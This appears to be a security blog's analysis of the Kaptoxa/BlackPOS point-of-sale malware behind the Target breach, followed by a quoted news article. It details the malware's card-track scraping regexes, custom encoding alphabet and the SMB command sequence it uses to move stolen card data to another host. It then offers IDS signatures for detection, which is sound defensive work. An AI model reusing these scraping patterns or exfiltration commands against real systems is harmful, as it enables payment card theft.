Analyzing and Detecting Kaptoxa POS Malware Behind Massive Target Data Breach

A few days ago, I was tasked to look at the Kaptoxa/BlackPOS malware, a malware which is believed to be used in the massive Target data breach, with the goal of:

1. Understanding how it operates
2. Finding ways to detect its network activity

This blog post describes my findings and suggests some detection strategies and corresponding Open Signature rules that you can use.

What retailers need to learn from the Target breach to protect against similar attacks

Sample

The sample that I specifically looked at have the MD5 hash of “CE0296E2D77EC3BB112E270FC260F274”, and based on in its operation (which I will further describe below) is a component that runs on the POS (point of sale) machines to steal card information by scraping data from a POS process memory. Interestingly, the following string was found in the malware binary which suggests that it was probably called the “Memory Monitor” component:

z:\Projects\Rescator\MmonNew\Debug\mmon.pdb

Operation

The data stealing operation of the malware consists running two threads: the main process thread is used as the “scraper” thread which routinely looks for the POS process and scrapes card data from its memory, and a second thread is used as a “transfer” thread which routinely transfers the stolen card data to another machine via SMB.

Scraper Thread

The scraper thread enumerates running processes and looks for the “pos.exe” process. Once the “pos.exe” process is found, it parses the contents of its memory and looks for track 1 and track 2 data of financial cards using a parser code that is roughly equivalent to running the following regex against the memory contents:

Track 1: [0-9]{15,16}\^[a-zA-Z0-9=*><^\\/ ]{5,100}.{1,20}
Track 2: [0-9]{15,16}=[0-9]{5,32}.{1,20}

Cross-referencing the regex equivalent of the parser code against the track format led me to conclude that:

• “[0-9]{15,16}” is for the Primary Account Number (PAN) which is usually the card number
• The caret “^” and the equal “=” character is for the field separator
• “[a-zA-Z0-9=*><^\\/ ]{5,100}” and “[0-9]{5,32}” is for the remaining track data before the “End Sentinel” field
• “.{20}” is for the “End Sentinel” field plus some additional data found after it. The malware prepends this additional data with the “|%ADD%|”string when saved

Each scraped track data is separately encoded using the base64 algorithm (using the charset “JN8hdEe3P0cUMTs5kQolDWC9BV26GjRIZnXfOF+K4rYtmqg7b/y1xwvpHiLAzSau” and with the padding “$”) and then appended to the file “<Windows>\system32\winxml.dll” with each encoded track data separated by CRLF.

To illustrate the scraping and the encoding process, assume a chunk of memory in the “pos.exe” process contains the following data:

????????????????%B1234567890123456^AAAAAA/BBBBBBB ^1122334455667788990011223344556?;000000000000000000000000000000000

The malware will identify the string starting at “1234567890123456” (the PAN/card number) is a track 1 data and then proceeds to extract it. The extracted track data is then stored to a string – let’s call it the “track string”:

1234567890123456^AAAAAA/BBBBBBB ^1122334455667788990011223344556|%ADD%|?;000000000000000000

The “track string” is then base64-encoded (using the charset and padding previously discussed) resulting to the following string:

MlP1ThDvT1ZiMhdyM1kwTFiNkDENkDd7kO08kO08kXNRMldyMfM1ThkwTlBvT1GHshOiMhJ/MlPyM1MxThDwTKbFkDQd09bus1JbMhJbMhJbMhJbMhJbMhJbMJ$$

The above encoded string is then appended by the malware to the “<Windows>\system32\winxml.dll” file.

Transfer Thread

The transfer thread, on the other hand, routinely moves the file containing the encoded track data (“<Windows>\system32\winxml.dll”) to a second machine via SMB. The transfer operation simply involves running the following sequence of commands:

net use S: \\<HardCodedIP>\c$\WINDOWS\twain_32 /user:<HardCodedUserName> <HardCodedPassword>
move <Windows>\system32\winxml.dll S:\<InfectedMachineName>_<Day>_<Month>_<Hour>.txt
net use S: /del

Detection

Based on the malware’s operation, three of the possible ways to detect its network activity are: (1) detecting the transfer of encoded track data via SMB, (2) detecting attempted SMB writes to the drop location (\\<…>\c$\WINDOWS\twain_32), and (3) a combination of (1) and (2). Details of these detection strategies, including their corresponding OpenSignature rules are provided below.

(Thanks to Matthew Dobbs of IBM X-Force for converting the detection strategies to OpenSignature rules. These OpenSignature rules are compatible with the IBM Network IPS and third-party products that are OpenSignature-compatible).

SMB Transfer of Encoded Track Data

The first detection strategy takes advantage of the fact that the first 15 characters of the stolen track data always consist of digits, this means that the first 5 groups of encoding output (which is 4 bytes each) has a fairly limited number of combinations and therefore has a predictable pattern. Specifically, the encoding output of the values from “000” to “999” will result in a string that always starts with any of the following: “M1”, “Mf”, “Mh”, “Ml”, “T1”, “Tf”, “Th”, “Tl”, “sh”, “sl” – we can verify this using the previous encoded track data example:

MlP1ThDvT1ZiMhdyM1kw

This detection strategy along with additional character filtering can be expressed using the following OpenSignature rule:

alert tcp any any -> any 445 (msg:"KAPTOXA Encoded Track Data Detected"; flow:to_server,established; content:"SMB"; pcre:"/(M1|Mf|Mh|Ml|T1|Tf|Th|Tl|sh|sl)[a-zA-Z0-9/]{2}(M1|Mf|Mh|Ml|T1|Tf|Th|Tl|sh|sl)[a-zA-Z0-9/]{2}(M1|Mf|Mh|Ml|T1|Tf|Th|Tl|sh|sl)[a-zA-Z0-9/]{2}(M1|Mf|Mh|Ml|T1|Tf|Th|Tl|sh|sl)[a-zA-Z0-9/]{2}(M1|Mf|Mh|Ml|T1|Tf|Th|Tl|sh|sl)/"; sid:2;)

SMB Writes to Drop Location

Another way to detect the malware’s network activity is by detecting its act of dropping a file to a specific drop location using a specific filename format. Specifically, we can check if a file having a path and name that matches the format below is being written:

\WINDOWS\twain_32\*_*_*_*.txt

This detection strategy can be expressed using the following OpenSignature rule:

alert tcp any any -> any 445 (msg:"KAPTOXA File Write Detected"; flow:to_server,established; content:"SMB|A2|"; content:"\\|00|W|00|I|00|N|00|D|00|O|00|W|00|S|00|\\|00|t|00|w|00|a|00|i|00|n|00|_|00|3|00|2|00|\\"; pcre:"/.*_.*_.*_.*\.|00|t|00|x|00|t/"; sid:1;)

Combined Detection Strategy

Finally, both detection strategies can be combined so that the encoded track data transfer rule will only be triggered if a SMB write to the drop location was seen:

alert tcp any any -> any 445 (msg:"KAPTOXA File Write Detected"; flow:to_server,established; content:"SMB|A2|"; content:"\\|00|W|00|I|00|N|00|D|00|O|00|W|00|S|00|\\|00|t|00|w|00|a|00|i|00|n|00|_|00|3|00|2|00|\\"; pcre:"/.*_.*_.*_.*\.|00|t|00|x|00|t/"; flowbits:set,kaptoxa; sid:1;)

alert tcp any any -> any 445 (msg:"KAPTOXA Encoded Track Data Detected"; flow:to_server,established; flowbits:isset,kaptoxa; content:"SMB"; pcre:"/(M1|Mf|Mh|Ml|T1|Tf|Th|Tl|sh|sl)[a-zA-Z0-9/]{2}(M1|Mf|Mh|Ml|T1|Tf|Th|Tl|sh|sl)[a-zA-Z0-9/]{2}(M1|Mf|Mh|Ml|T1|Tf|Th|Tl|sh|sl)[a-zA-Z0-9/]{2}(M1|Mf|Mh|Ml|T1|Tf|Th|Tl|sh|sl)[a-zA-Z0-9/]{2}(M1|Mf|Mh|Ml|T1|Tf|Th|Tl|sh|sl)/"; sid:2;)

From the article ‘Target Malware Origin Details Emerge‘ published on InformationWeek.

Digital forensic investigators and information security researchers have positively identified the malware used in the recent attack against Target. The malicious code infected point-of-sale (POS) terminals at the retailer and then helped transfer the stolen data to an FTP server in Russia.

The attack against Target, which began in late November and continued until mid-December, resulted in the theft of 40 million credit and debit cards as well as personal information for as many as 70 million customers.

A joint federal-private report providing more details about the apparent hacking and malware campaign against Target has been distributed to firms in the retail and financial-services sectors. The report was jointly issued by the Department of Homeland Security (DHS), the Secret Service, the Financial Services Information Sharing and Analysis Center (FS-ISAC), and Dallas-based private cybersecurity firm iSight Partners.

The malware used in the attack, dubbed Kaptoxa (“Kar-toe-sha”), “has potentially infected a large number of retail information systems,” according to a blog post from iSight Partners. “If you have a POS system in operation, you may be at risk.”

A company spokeswoman declined to share a copy of the report that the firm helped prepare, saying it was available via DHS, although only on a need-to-know basis. Reached via email, the duty officer for the National Cybersecurity and Communications Integration Center, which is distributing the report, confirmed that it hasn’t been publicly released, while noting that the effort was part of DHS’s mission “to share actionable information gleaned from ongoing network defense efforts, cybercrime investigations, and national security efforts” with the private sector.

But according to some press accounts, the report says that “the [Target] intrusion operators displayed innovation and a high degree of skill,” in part by taking relatively unsophisticated malware and using it to compromise so much data in such a short period of time. “What’s really unique about this one is it’s the first time we’ve seen the attack method at this scale,” Tiffany Jones, a senior VP at iSight, told The Wall Street Journal. “It conceals all the data transfers. It makes it really hard to detect in the first place.”

Suggestions that the Target data breach stemmed from a POS malware attack first surfaced on Jan. 2, 2014, when the US Computer Emergency Readiness Team (US-CERT) released an alert about memory-scraping malware infecting retailers. As examples of what to beware, it named the Dexter POS device memory-scraping malware, as well as a Dexter variant called Stardust that can eavesdrop on POS production system networks.

But the Dexter malware reportedly wasn’t used in this attack against Target. Rather, the Kaptoxa malware is a variant of the BlackPOS malware, security blogger Brian Krebs first reported Wednesday. BlackPOS is purpose-built to retrieve data coded in the magnetic stripe of a swiped card while it still resides in the POS device memory, since data typically gets encrypted once it’s saved.

The malware reportedly includes some Russian-language tags, and was also used in a smaller series of apparent trial attacks last year, after which stolen data appeared on Eastern European cybercrime forums. Those facts have led some investigators to surmise that whoever attacked Target might be operating from either Russia or a former Soviet satellite.

After somehow hacking into Target and infecting POS terminals with Kaptoxa, Target’s attackers then employed a two-stage attack. “First, the malware that infected Target’s checkout counters (POS) extracted credit numbers and sensitive personal details,” Aviv Raff, CTO of Israel-based cyber security technology company Seculert, said in a blog post. “Then, after staying undetected for six days, the malware started transmitting the stolen data to an external FTP server, using another infected machine within the Target network.”

The malware transmitted batched information up to three times per day — but only after checking the compromised system to see if the time was between 10:00 a.m. and 5:00 p.m. If so, the malware would create a temporary NetBIOS share and connect to another internal, compromised system, from which the FTP transfer then occurred, Wired reported.

On Dec. 2, and continuing for two weeks, the FTP server began receiving several transmissions per day of batched, stolen information. Also beginning on Dec. 2, the attackers “used a virtual private server (VPS) located in Russia to download the stolen data from the FTP,” Raff said, with attackers ultimately amassing 11 GB of stolen data.

Unfortunately, those attack techniques don’t appear to point to any specific cybercrime gang. “We haven’t seen this specific VPS before,” Raff said via email. “However, VPS are usually used by attacker as a proxy to hide their real IP address, so the attackers may have been using different VPS hosting over time.”

While the stolen Target information no longer resided on the Russian server that Seculert found, a review of publicly accessible logs for the server show that only IP addresses from Target had connected to the FTP server. “So far there is no indication of any relationship to the Neiman Marcus attack,” Raff said.

On a related note, Neiman Marcus CEO Karen Katz published a letter Thursday apologizing for that retailer’s breach, and — like Target — offered affected customers one year of free credit monitoring. Unlike Target, however, Neiman Marcus has yet to disclose how many customers were affected by the data breach.